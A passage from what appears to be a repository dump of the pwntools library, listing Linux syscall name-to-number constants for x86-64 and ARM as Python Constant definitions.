Constant('SYS_mbind',237)\nSYS_membarrier = Constant('SYS_membarrier',324)\nSYS_memfd_create = Constant('SYS_memfd_create',319)\nSYS_migrate_pages = Constant('SYS_migrate_pages',256)\nSYS_mincore = Constant('SYS_mincore',27)\nSYS_mkdir = Constant('SYS_mkdir',83)\nSYS_mkdirat = Constant('SYS_mkdirat',258)\nSYS_mknod = Constant('SYS_mknod',133)\nSYS_mknodat = Constant('SYS_mknodat',259)\nSYS_mlock = Constant('SYS_mlock',149)\nSYS_mlock2 = Constant('SYS_mlock2',325)\nSYS_mlockall = Constant('SYS_mlockall',151)\nSYS_mmap = Constant('SYS_mmap',9)\nSYS_modify_ldt = Constant('SYS_modify_ldt',154)\nSYS_mount = Constant('SYS_mount',165)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',279)\nSYS_mprotect = Constant('SYS_mprotect',10)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',245)\nSYS_mq_notify = Constant('SYS_mq_notify',244)\nSYS_mq_open = Constant('SYS_mq_open',240)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',243)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',242)\nSYS_mq_unlink = Constant('SYS_mq_unlink',241)\nSYS_mremap = Constant('SYS_mremap',25)\nSYS_msgctl = Constant('SYS_msgctl',71)\nSYS_msgget = Constant('SYS_msgget',68)\nSYS_msgrcv = Constant('SYS_msgrcv',70)\nSYS_msgsnd = Constant('SYS_msgsnd',69)\nSYS_msync = Constant('SYS_msync',26)\nSYS_munlock = Constant('SYS_munlock',150)\nSYS_munlockall = Constant('SYS_munlockall',152)\nSYS_munmap = Constant('SYS_munmap',11)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',303)\nSYS_nanosleep = Constant('SYS_nanosleep',35)\nSYS_newfstatat = Constant('SYS_newfstatat',262)\nSYS_nfsservctl = Constant('SYS_nfsservctl',180)\nSYS_open = Constant('SYS_open',2)\nSYS_openat = Constant('SYS_openat',257)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',304)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',34)\nSYS_perf_event_open = Constant('SYS_perf_event_open',298)\nSYS_personality = Constant('SYS_personality',135)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',22)\nSYS_pipe2 = Constant('SYS_pipe2',293)\nSYS_pivot_root = Constant('SYS_pivot_root',155)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',330)\nSYS_pkey_free = Constant('SYS_pkey_free',331)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',329)\nSYS_poll = Constant('SYS_poll',7)\nSYS_ppoll = Constant('SYS_ppoll',271)\nSYS_prctl = Constant('SYS_prctl',157)\nSYS_pread = Constant('SYS_pread',17)\nSYS_preadv = Constant('SYS_preadv',295)\nSYS_preadv2 = Constant('SYS_preadv2',327)\nSYS_prlimit64 = Constant('SYS_prlimit64',302)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',310)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',311)\nSYS_pselect6 = Constant('SYS_pselect6',270)\nSYS_ptrace = Constant('SYS_ptrace',101)\nSYS_putpmsg = Constant('SYS_putpmsg',182)\nSYS_pwrite = Constant('SYS_pwrite',18)\nSYS_pwritev = Constant('SYS_pwritev',296)\nSYS_pwritev2 = Constant('SYS_pwritev2',328)\nSYS_query_module = Constant('SYS_query_module',178)\nSYS_quotactl = Constant('SYS_quotactl',179)\nSYS_read = Constant('SYS_read',0)\nSYS_readahead = Constant('SYS_readahead',187)\nSYS_readlink = Constant('SYS_readlink',89)\nSYS_readlinkat = Constant('SYS_readlinkat',267)\nSYS_readv = Constant('SYS_readv',19)\nSYS_reboot = Constant('SYS_reboot',169)\nSYS_recvfrom = Constant('SYS_recvfrom',45)\nSYS_recvmmsg = Constant('SYS_recvmmsg',299)\nSYS_recvmsg = Constant('SYS_recvmsg',47)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',216)\nSYS_removexattr = Constant('SYS_removexattr',197)\nSYS_rename = Constant('SYS_rename',82)\nSYS_renameat = Constant('SYS_renameat',264)\nSYS_renameat2 = Constant('SYS_renameat2',316)\nSYS_request_key = Constant('SYS_request_key',249)\nSYS_restart_syscall = Constant('SYS_restart_syscall',219)\nSYS_rmdir = Constant('SYS_rmdir',84)\nSYS_rseq = Constant('SYS_rseq',334)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',13)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',127)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',14)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',129)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',15)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',130)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',128)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',297)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',204)\nSYS_sched_getattr = Constant('SYS_sched_getattr',315)\nSYS_sched_getparam = Constant('SYS_sched_getparam',143)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',146)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',147)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',145)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',148)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',203)\nSYS_sched_setattr = Constant('SYS_sched_setattr',314)\nSYS_sched_setparam = Constant('SYS_sched_setparam',142)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',144)\nSYS_sched_yield = Constant('SYS_sched_yield',24)\nSYS_seccomp = Constant('SYS_seccomp',317)\nSYS_security = Constant('SYS_security',185)\nSYS_select = Constant('SYS_select',23)\nSYS_semctl = Constant('SYS_semctl',66)\nSYS_semget = Constant('SYS_semget',64)\nSYS_semop = Constant('SYS_semop',65)\nSYS_semtimedop = Constant('SYS_semtimedop',220)\nSYS_sendfile = Constant('SYS_sendfile',40)\nSYS_sendmmsg = Constant('SYS_sendmmsg',307)\nSYS_sendmsg = Constant('SYS_sendmsg',46)\nSYS_sendto = Constant('SYS_sendto',44)\nSYS_setdomainname = Constant('SYS_setdomainname',171)\nSYS_setfsgid = Constant('SYS_setfsgid',123)\nSYS_setfsuid = Constant('SYS_setfsuid',122)\nSYS_setgid = Constant('SYS_setgid',106)\nSYS_setgroups = Constant('SYS_setgroups',116)\nSYS_sethostname = Constant('SYS_sethostname',170)\nSYS_setitimer = Constant('SYS_setitimer',38)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',238)\nSYS_setns = Constant('SYS_setns',308)\nSYS_setpgid = Constant('SYS_setpgid',109)\nSYS_setpriority = Constant('SYS_setpriority',141)\nSYS_setregid = Constant('SYS_setregid',114)\nSYS_setresgid = Constant('SYS_setresgid',119)\nSYS_setresuid = Constant('SYS_setresuid',117)\nSYS_setreuid = Constant('SYS_setreuid',113)\nSYS_setrlimit = Constant('SYS_setrlimit',160)\nSYS_set_robust_list = Constant('SYS_set_robust_list',273)\nSYS_setsid = Constant('SYS_setsid',112)\nSYS_setsockopt = Constant('SYS_setsockopt',54)\nSYS_set_thread_area = Constant('SYS_set_thread_area',205)\nSYS_set_tid_address = Constant('SYS_set_tid_address',218)\nSYS_settimeofday = Constant('SYS_settimeofday',164)\nSYS_setuid = Constant('SYS_setuid',105)\nSYS_setxattr = Constant('SYS_setxattr',188)\nSYS_shmat = Constant('SYS_shmat',30)\nSYS_shmctl = Constant('SYS_shmctl',31)\nSYS_shmdt = Constant('SYS_shmdt',67)\nSYS_shmget = Constant('SYS_shmget',29)\nSYS_shutdown = Constant('SYS_shutdown',48)\nSYS_sigaltstack = Constant('SYS_sigaltstack',131)\nSYS_signalfd = Constant('SYS_signalfd',282)\nSYS_signalfd4 = Constant('SYS_signalfd4',289)\nSYS_socket = Constant('SYS_socket',41)\nSYS_socketpair = Constant('SYS_socketpair',53)\nSYS_splice = Constant('SYS_splice',275)\nSYS_stat = Constant('SYS_stat',4)\nSYS_statfs = Constant('SYS_statfs',137)\nSYS_statx = Constant('SYS_statx',332)\nSYS_swapoff = Constant('SYS_swapoff',168)\nSYS_swapon = Constant('SYS_swapon',167)\nSYS_symlink = Constant('SYS_symlink',88)\nSYS_symlinkat = Constant('SYS_symlinkat',266)\nSYS_sync = Constant('SYS_sync',162)\nSYS_sync_file_range = Constant('SYS_sync_file_range',277)\nSYS_syncfs = Constant('SYS_syncfs',306)\nSYS__sysctl = Constant('SYS__sysctl',156)\nSYS_sysfs = Constant('SYS_sysfs',139)\nSYS_sysinfo = Constant('SYS_sysinfo',99)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',276)\nSYS_tgkill = Constant('SYS_tgkill',234)\nSYS_time = Constant('SYS_time',201)\nSYS_timer_create = Constant('SYS_timer_create',222)\nSYS_timer_delete = Constant('SYS_timer_delete',226)\nSYS_timerfd = Constant('SYS_timerfd',283)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',287)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',286)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',225)\nSYS_timer_gettime = Constant('SYS_timer_gettime',224)\nSYS_timer_settime = Constant('SYS_timer_settime',223)\nSYS_times = Constant('SYS_times',100)\nSYS_tkill = Constant('SYS_tkill',200)\nSYS_truncate = Constant('SYS_truncate',76)\nSYS_tuxcall = Constant('SYS_tuxcall',184)\nSYS_umask = Constant('SYS_umask',95)\nSYS_umount2 = Constant('SYS_umount2',166)\nSYS_uname = Constant('SYS_uname',63)\nSYS_unlink = Constant('SYS_unlink',87)\nSYS_unlinkat = Constant('SYS_unlinkat',263)\nSYS_unshare = Constant('SYS_unshare',272)\nSYS_uselib = Constant('SYS_uselib',134)\nSYS_userfaultfd = Constant('SYS_userfaultfd',323)\nSYS_ustat = Constant('SYS_ustat',136)\nSYS_utime = Constant('SYS_utime',132)\nSYS_utimensat = Constant('SYS_utimensat',280)\nSYS_utimes = Constant('SYS_utimes',235)\nSYS_vfork = Constant('SYS_vfork',58)\nSYS_vhangup = Constant('SYS_vhangup',153)\nSYS_vmsplice = Constant('SYS_vmsplice',278)\nSYS_vserver = Constant('SYS_vserver',236)\nSYS_wait4 = Constant('SYS_wait4',61)\nSYS_waitid = Constant('SYS_waitid',247)\nSYS_write = Constant('SYS_write',1)\nSYS_writev = Constant('SYS_writev',20)\n"
  },
  {
    "path": "pwnlib/constants/linux/arm.py",
    "content": "from pwnlib.constants.constant import Constant\n__ARM_EABI__ = Constant('__ARM_EABI__',1)\n__KERNEL__ = Constant('__KERNEL__',1)\n_ARM_SYSCALL_H = Constant('_ARM_SYSCALL_H',1)\n__NR_OABI_SYSCALL_BASE = Constant('__NR_OABI_SYSCALL_BASE',0x900000)\n__NR_SYSCALL_BASE = Constant('__NR_SYSCALL_BASE',0)\n__NR_restart_syscall = Constant('__NR_restart_syscall',(0+  0))\n__NR_exit = Constant('__NR_exit',(0+  1))\n__NR_fork = Constant('__NR_fork',(0+  2))\n__NR_read = Constant('__NR_read',(0+  3))\n__NR_write = Constant('__NR_write',(0+  4))\n__NR_open = Constant('__NR_open',(0+  5))\n__NR_close = Constant('__NR_close',(0+  6))\n__NR_creat = Constant('__NR_creat',(0+  8))\n__NR_link = Constant('__NR_link',(0+  9))\n__NR_unlink = Constant('__NR_unlink',(0+ 10))\n__NR_execve = Constant('__NR_execve',(0+ 11))\n__NR_chdir = Constant('__NR_chdir',(0+ 12))\n__NR_time = Constant('__NR_time',(0+ 13))\n__NR_mknod = Constant('__NR_mknod',(0+ 14))\n__NR_chmod = Constant('__NR_chmod',(0+ 15))\n__NR_lchown = Constant('__NR_lchown',(0+ 16))\n__NR_lseek = Constant('__NR_lseek',(0+ 19))\n__NR_getpid = Constant('__NR_getpid',(0+ 20))\n__NR_mount = Constant('__NR_mount',(0+ 21))\n__NR_umount = Constant('__NR_umount',(0+ 22))\n__NR_setuid = Constant('__NR_setuid',(0+ 23))\n__NR_getuid = Constant('__NR_getuid',(0+ 24))\n__NR_stime = Constant('__NR_stime',(0+ 25))\n__NR_ptrace = Constant('__NR_ptrace',(0+ 26))\n__NR_alarm = Constant('__NR_alarm',(0+ 27))\n__NR_pause = Constant('__NR_pause',(0+ 29))\n__NR_utime = Constant('__NR_utime',(0+ 30))\n__NR_access = Constant('__NR_access',(0+ 33))\n__NR_nice = Constant('__NR_nice',(0+ 34))\n__NR_sync = Constant('__NR_sync',(0+ 36))\n__NR_kill = Constant('__NR_kill',(0+ 37))\n__NR_rename = Constant('__NR_rename',(0+ 38))\n__NR_mkdir = Constant('__NR_mkdir',(0+ 39))\n__NR_rmdir = Constant('__NR_rmdir',(0+ 40))\n__NR_dup = Constant('__NR_dup',(0+ 41))\n__NR_pipe = Constant('__NR_pipe',(0+ 42))\n__NR_times = Constant('__NR_times',(0+ 43))\n__NR_brk = Constant('__NR_brk',(0+ 45))\n__NR_setgid = Constant('__NR_setgid',(0+ 46))\n__NR_getgid = Constant('__NR_getgid',(0+ 47))\n__NR_geteuid = Constant('__NR_geteuid',(0+ 49))\n__NR_getegid = Constant('__NR_getegid',(0+ 50))\n__NR_acct = Constant('__NR_acct',(0+ 51))\n__NR_umount2 = Constant('__NR_umount2',(0+ 52))\n__NR_ioctl = Constant('__NR_ioctl',(0+ 54))\n__NR_fcntl = Constant('__NR_fcntl',(0+ 55))\n__NR_setpgid = Constant('__NR_setpgid',(0+ 57))\n__NR_umask = Constant('__NR_umask',(0+ 60))\n__NR_chroot = Constant('__NR_chroot',(0+ 61))\n__NR_ustat = Constant('__NR_ustat',(0+ 62))\n__NR_dup2 = Constant('__NR_dup2',(0+ 63))\n__NR_getppid = Constant('__NR_getppid',(0+ 64))\n__NR_getpgrp = Constant('__NR_getpgrp',(0+ 65))\n__NR_setsid = Constant('__NR_setsid',(0+ 66))\n__NR_sigaction = Constant('__NR_sigaction',(0+ 67))\n__NR_setreuid = Constant('__NR_setreuid',(0+ 70))\n__NR_setregid = Constant('__NR_setregid',(0+ 71))\n__NR_sigsuspend = Constant('__NR_sigsuspend',(0+ 72))\n__NR_sigpending = Constant('__NR_sigpending',(0+ 73))\n__NR_sethostname = Constant('__NR_sethostname',(0+ 74))\n__NR_setrlimit = Constant('__NR_setrlimit',(0+ 75))\n__NR_getrlimit = Constant('__NR_getrlimit',(0+ 76))\n__NR_getrusage = Constant('__NR_getrusage',(0+ 77))\n__NR_gettimeofday = Constant('__NR_gettimeofday',(0+ 78))\n__NR_settimeofday = Constant('__NR_settimeofday',(0+ 79))\n__NR_getgroups = Constant('__NR_getgroups',(0+ 80))\n__NR_setgroups = Constant('__NR_setgroups',(0+ 81))\n__NR_select = Constant('__NR_select',(0+ 82))\n__NR_symlink = Constant('__NR_symlink',(0+ 83))\n__NR_readlink = Constant('__NR_readlink',(0+ 85))\n__NR_uselib = Constant('__NR_uselib',(0+ 86))\n__NR_swapon = Constant('__NR_swapon',(0+ 87))\n__NR_reboot = Constant('__NR_reboot',(0+ 88))\n__NR_readdir = Constant('__NR_readdir',(0+ 89))\n__NR_mmap = Constant('__NR_mmap',(0+ 90))\n__NR_munmap = Constant('__NR_munmap',(0+ 91))\n__NR_truncate = Constant('__NR_truncate',(0+ 92))\n__NR_ftruncate = Constant('__NR_ftruncate',(0+ 93))\n__NR_fchmod = Constant('__NR_fchmod',(0+ 94))\n__NR_fchown = Constant('__NR_fchown',(0+ 95))\n__NR_getpriority = Constant('__NR_getpriority',(0+ 96))\n__NR_setpriority = Constant('__NR_setpriority',(0+ 97))\n__NR_statfs = Constant('__NR_statfs',(0+ 99))\n__NR_fstatfs = Constant('__NR_fstatfs',(0+100))\n__NR_socketcall = Constant('__NR_socketcall',(0+102))\n__NR_syslog = Constant('__NR_syslog',(0+103))\n__NR_setitimer = Constant('__NR_setitimer',(0+104))\n__NR_getitimer = Constant('__NR_getitimer',(0+105))\n__NR_stat = Constant('__NR_stat',(0+106))\n__NR_lstat = Constant('__NR_lstat',(0+107))\n__NR_fstat = Constant('__NR_fstat',(0+108))\n__NR_vhangup = Constant('__NR_vhangup',(0+111))\n__NR_syscall = Constant('__NR_syscall',(0+113))\n__NR_wait4 = Constant('__NR_wait4',(0+114))\n__NR_swapoff = Constant('__NR_swapoff',(0+115))\n__NR_sysinfo = Constant('__NR_sysinfo',(0+116))\n__NR_ipc = Constant('__NR_ipc',(0+117))\n__NR_fsync = Constant('__NR_fsync',(0+118))\n__NR_sigreturn = Constant('__NR_sigreturn',(0+119))\n__NR_clone = Constant('__NR_clone',(0+120))\n__NR_setdomainname = Constant('__NR_setdomainname',(0+121))\n__NR_uname = Constant('__NR_uname',(0+122))\n__NR_adjtimex = Constant('__NR_adjtimex',(0+124))\n__NR_mprotect = Constant('__NR_mprotect',(0+125))\n__NR_sigprocmask = Constant('__NR_sigprocmask',(0+126))\n__NR_init_module = Constant('__NR_init_module',(0+128))\n__NR_delete_module = Constant('__NR_delete_module',(0+129))\n__NR_quotactl = Constant('__NR_quotactl',(0+131))\n__NR_getpgid = Constant('__NR_getpgid',(0+132))\n__NR_fchdir = Constant('__NR_fchdir',(0+133))\n__NR_bdflush = Constant('__NR_bdflush',(0+134))\n__NR_sysfs = Constant('__NR_sysfs',(0+135))\n__NR_personality = Constant('__NR_personality',(0+136))\n__NR_setfsuid = Constant('__NR_setfsuid',(0+138))\n__NR_setfsgid = Constant('__NR_setfsgid',(0+139))\n__NR__llseek = Constant('__NR__llseek',(0+140))\n__NR_getdents = Constant('__NR_getdents',(0+141))\n__NR__newselect = Constant('__NR__newselect',(0+142))\n__NR_flock = Constant('__NR_flock',(0+143))\n__NR_msync = Constant('__NR_msync',(0+144))\n__NR_readv = Constant('__NR_readv',(0+145))\n__NR_writev = Constant('__NR_writev',(0+146))\n__NR_getsid = Constant('__NR_getsid',(0+147))\n__NR_fdatasync = Constant('__NR_fdatasync',(0+148))\n__NR__sysctl = Constant('__NR__sysctl',(0+149))\n__NR_mlock = Constant('__NR_mlock',(0+150))\n__NR_munlock = Constant('__NR_munlock',(0+151))\n__NR_mlockall = Constant('__NR_mlockall',(0+152))\n__NR_munlockall = Constant('__NR_munlockall',(0+153))\n__NR_sched_setparam = Constant('__NR_sched_setparam',(0+154))\n__NR_sched_getparam = Constant('__NR_sched_getparam',(0+155))\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(0+156))\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(0+157))\n__NR_sched_yield = Constant('__NR_sched_yield',(0+158))\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(0+159))\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(0+160))\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(0+161))\n__NR_nanosleep = Constant('__NR_nanosleep',(0+162))\n__NR_mremap = Constant('__NR_mremap',(0+163))\n__NR_setresuid = Constant('__NR_setresuid',(0+164))\n__NR_getresuid = Constant('__NR_getresuid',(0+165))\n__NR_poll = Constant('__NR_poll',(0+168))\n__NR_nfsservctl = Constant('__NR_nfsservctl',(0+169))\n__NR_setresgid = Constant('__NR_setresgid',(0+170))\n__NR_getresgid = Constant('__NR_getresgid',(0+171))\n__NR_prctl = Constant('__NR_prctl',(0+172))\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(0+173))\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',(0+174))\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(0+175))\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',(0+176))\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(0+177))\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(0+178))\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(0+179))\n__NR_pread64 = Constant('__NR_pread64',(0+180))\n__NR_pwrite64 = Constant('__NR_pwrite64',(0+181))\n__NR_chown = Constant('__NR_chown',(0+182))\n__NR_getcwd = Constant('__NR_getcwd',(0+183))\n__NR_capget = Constant('__NR_capget',(0+184))\n__NR_capset = Constant('__NR_capset',(0+185))\n__NR_sigaltstack = Constant('__NR_sigaltstack',(0+186))\n__NR_sendfile = Constant('__NR_sendfile',(0+187))\n__NR_vfork = Constant('__NR_vfork',(0+190))\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',(0+191))\n__NR_mmap2 = Constant('__NR_mmap2',(0+192))\n__NR_truncate64 = Constant('__NR_truncate64',(0+193))\n__NR_ftruncate64 = Constant('__NR_ftruncate64',(0+194))\n__NR_stat64 = Constant('__NR_stat64',(0+195))\n__NR_lstat64 = Constant('__NR_lstat64',(0+196))\n__NR_fstat64 = Constant('__NR_fstat64',(0+197))\n__NR_lchown32 = Constant('__NR_lchown32',(0+198))\n__NR_getuid32 = Constant('__NR_getuid32',(0+199))\n__NR_getgid32 = Constant('__NR_getgid32',(0+200))\n__NR_geteuid32 = Constant('__NR_geteuid32',(0+201))\n__NR_getegid32 = Constant('__NR_getegid32',(0+202))\n__NR_setreuid32 = Constant('__NR_setreuid32',(0+203))\n__NR_setregid32 = Constant('__NR_setregid32',(0+204))\n__NR_getgroups32 = Constant('__NR_getgroups32',(0+205))\n__NR_setgroups32 = Constant('__NR_setgroups32',(0+206))\n__NR_fchown32 = Constant('__NR_fchown32',(0+207))\n__NR_setresuid32 = Constant('__NR_setresuid32',(0+208))\n__NR_getresuid32 = Constant('__NR_getresuid32',(0+209))\n__NR_setresgid32 = Constant('__NR_setresgid32',(0+210))\n__NR_getresgid32 = Constant('__NR_getresgid32',(0+211))\n__NR_chown32 = Constant('__NR_chown32',(0+212))\n__NR_setuid32 = Constant('__NR_setuid32',(0+213))\n__NR_setgid32 = Constant('__NR_setgid32',(0+214))\n__NR_setfsuid32 = Constant('__NR_setfsuid32',(0+215))\n__NR_setfsgid32 = Constant('__NR_setfsgid32',(0+216))\n__NR_getdents64 = Constant('__NR_getdents64',(0+217))\n__NR_pivot_root = Constant('__NR_pivot_root',(0+218))\n__NR_mincore = Constant('__NR_mincore',(0+219))\n__NR_madvise = Constant('__NR_madvise',(0+220))\n__NR_fcntl64 = Constant('__NR_fcntl64',(0+221))\n__NR_gettid = Constant('__NR_gettid',(0+224))\n__NR_readahead = Constant('__NR_readahead',(0+225))\n__NR_setxattr = Constant('__NR_setxattr',(0+226))\n__NR_lsetxattr = Constant('__NR_lsetxattr',(0+227))\n__NR_fsetxattr = Constant('__NR_fsetxattr',(0+228))\n__NR_getxattr = Constant('__NR_getxattr',(0+229))\n__NR_lgetxattr = Constant('__NR_lgetxattr',(0+230))\n__NR_fgetxattr = Constant('__NR_fgetxattr',(0+231))\n__NR_listxattr = Constant('__NR_listxattr',(0+232))\n__NR_llistxattr = Constant('__NR_llistxattr',(0+233))\n__NR_flistxattr = Constant('__NR_flistxattr',(0+234))\n__NR_removexattr = Constant('__NR_removexattr',(0+235))\n__NR_lremovexattr = Constant('__NR_lremovexattr',(0+236))\n__NR_fremovexattr = Constant('__NR_fremovexattr',(0+237))\n__NR_tkill = Constant('__NR_tkill',(0+238))\n__NR_sendfile64 = Constant('__NR_sendfile64',(0+239))\n__NR_futex = Constant('__NR_futex',(0+240))\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(0+241))\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(0+242))\n__NR_io_setup = Constant('__NR_io_setup',(0+243))\n__NR_io_destroy = Constant('__NR_io_destroy',(0+244))\n__NR_io_getevents = Constant('__NR_io_getevents',(0+245))\n__NR_io_submit = Constant('__NR_io_submit',(0+246))\n__NR_io_cancel = Constant('__NR_io_cancel',(0+247))\n__NR_exit_group = Constant('__NR_exit_group',(0+248))\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(0+249))\n__NR_epoll_create = Constant('__NR_epoll_create',(0+250))\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',(0+251))\n__NR_epoll_wait = Constant('__NR_epoll_wait',(0+252))\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',(0+253))\n__NR_set_tid_address = Constant('__NR_set_tid_address',(0+256))\n__NR_timer_create = Constant('__NR_timer_create',(0+257))\n__NR_timer_settime = Constant('__NR_timer_settime',(0+258))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(0+259))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(0+260))\n__NR_timer_delete = Constant('__NR_timer_delete',(0+261))\n__NR_clock_settime = Constant('__NR_clock_settime',(0+262))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(0+263))\n__NR_clock_getres = Constant('__NR_clock_getres',(0+264))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(0+265))\n__NR_statfs64 = Constant('__NR_statfs64',(0+266))\n__NR_fstatfs64 = Constant('__NR_fstatfs64',(0+267))\n__NR_tgkill = Constant('__NR_tgkill',(0+268))\n__NR_utimes = Constant('__NR_utimes',(0+269))\n__NR_arm_fadvise64_64 = Constant('__NR_arm_fadvise64_64',(0+270))\n__NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',(0+271))\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',(0+272))\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',(0+273))\n__NR_mq_open = Constant('__NR_mq_open',(0+274))\n__NR_mq_unlink = Constant('__NR_mq_unlink',(0+275))\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',(0+276))\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(0+277))\n__NR_mq_notify = Constant('__NR_mq_notify',(0+278))\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(0+279))\n__NR_waitid = Constant('__NR_waitid',(0+280))\n__NR_socket = Constant('__NR_socket',(0+281))\n__NR_bind = Constant('__NR_bind',(0+282))\n__NR_connect = Constant('__NR_connect',(0+283))\n__NR_listen = Constant('__NR_listen',(0+284))\n__NR_accept = Constant('__NR_accept',(0+285))\n__NR_getsockname = Constant('__NR_getsockname',(0+286))\n__NR_getpeername = Constant('__NR_getpeername',(0+287))\n__NR_socketpair = Constant('__NR_socketpair',(0+288))\n__NR_send = Constant('__NR_send',(0+289))\n__NR_sendto = Constant('__NR_sendto',(0+290))\n__NR_recv = Constant('__NR_recv',(0+291))\n__NR_recvfrom = Constant('__NR_recvfrom',(0+292))\n__NR_shutdown = Constant('__NR_shutdown',(0+293))\n__NR_setsockopt = Constant('__NR_setsockopt',(0+294))\n__NR_getsockopt = Constant('__NR_getsockopt',(0+295))\n__NR_sendmsg = Constant('__NR_sendmsg',(0+296))\n__NR_recvmsg = Constant('__NR_recvmsg',(0+297))\n__NR_semop = Constant('__NR_semop',(0+298))\n__NR_semget = Constant('__NR_semget',(0+299))\n__NR_semctl = Constant('__NR_semctl',(0+300))\n__NR_msgsnd = Constant('__NR_msgsnd',(0+301))\n__NR_msgrcv = Constant('__NR_msgrcv',(0+302))\n__NR_msgget = Constant('__NR_msgget',(0+303))\n__NR_msgctl = Constant('__NR_msgctl',(0+304))\n__NR_shmat = Constant('__NR_shmat',(0+305))\n__NR_shmdt = Constant('__NR_shmdt',(0+306))\n__NR_shmget = Constant('__NR_shmget',(0+307))\n__NR_shmctl = Constant('__NR_shmctl',(0+308))\n__NR_add_key = Constant('__NR_add_key',(0+309))\n__NR_request_key = Constant('__NR_request_key',(0+310))\n__NR_keyctl = Constant('__NR_keyctl',(0+311))\n__NR_semtimedop = Constant('__NR_semtimedop',(0+312))\n__NR_vserver = Constant('__NR_vserver',(0+313))\n__NR_ioprio_set = Constant('__NR_ioprio_set',(0+314))\n__NR_ioprio_get = Constant('__NR_ioprio_get',(0+315))\n__NR_inotify_init = Constant('__NR_inotify_init',(0+316))\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(0+317))\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(0+318))\n__NR_mbind = Constant('__NR_mbind',(0+319))\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',(0+320))\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',(0+321))\n__NR_openat = Constant('__NR_openat',(0+322))\n__NR_mkdirat = Constant('__NR_mkdirat',(0+323))\n__NR_mknodat = Constant('__NR_mknodat',(0+324))\n__NR_fchownat = Constant('__NR_fchownat',(0+325))\n__NR_futimesat = Constant('__NR_futimesat',(0+326))\n__NR_fstatat64 = Constant('__NR_fstatat64',(0+327))\n__NR_unlinkat = Constant('__NR_unlinkat',(0+328))\n__NR_renameat = Constant('__NR_renameat',(0+329))\n__NR_linkat = Constant('__NR_linkat',(0+330))\n__NR_symlinkat = Constant('__NR_symlinkat',(0+331))\n__NR_readlinkat = Constant('__NR_readlinkat',(0+332))\n__NR_fchmodat = Constant('__NR_fchmodat',(0+333))\n__NR_faccessat = Constant('__NR_faccessat',(0+334))\n__NR_unshare = Constant('__NR_unshare',(0+337))\n__NR_set_robust_list = Constant('__NR_set_robust_list',(0+338))\n__NR_get_robust_list = Constant('__NR_get_robust_list',(0+339))\n__NR_splice = Constant('__NR_splice',(0+340))\n__NR_arm_sync_file_range = Constant('__NR_arm_sync_file_range',(0+341))\n__NR_tee = Constant('__NR_tee',(0+342))\n__NR_vmsplice = 